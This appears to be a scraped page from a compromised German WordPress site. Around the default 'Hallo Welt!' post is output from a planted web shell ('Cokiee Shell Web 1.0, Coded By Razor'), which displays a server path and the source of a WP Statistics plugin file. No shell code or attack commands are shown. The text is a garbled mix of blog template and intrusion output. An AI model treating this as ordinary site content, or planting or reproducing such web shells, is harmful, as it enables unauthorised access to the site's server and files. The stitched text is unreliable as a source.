Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web28/html/wp-content/plugins/wp-statistics/src/Abstracts/ |
Current File : //var/www/web28/html/wp-content/plugins/wp-statistics/src/Abstracts/BaseModel.php |
<?php namespace WP_Statistics\Abstracts; use WP_Statistics\Utils\Query; use WP_Statistics\Components\DateRange; abstract class BaseModel { /** * @param $args * @param $defaults * @return mixed|null */ protected function parseArgs($args, $defaults = []) { $args = wp_parse_args($args, $defaults); $args = $this->parseQueryParamArg($args); $args = $this->parseDateArg($args); return apply_filters('wp_statistics_data_{child-method-name}_args', $args); } /** * Parses the query_param argument. * * @return array The parsed arguments. */ private function parseQueryParamArg($args) { if (!empty($args['query_param'])) { $uri = Query::select('uri') ->from('pages') ->where('page_id', '=', $args['query_param']) ->getVar(); $args['query_param'] = !empty($uri) ? $uri : ''; } return $args; } private function parseDateArg($args) { if (empty($args['date']) && empty($args['ignore_date'])) { $args['date'] = DateRange::get(); } return $args; } }
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare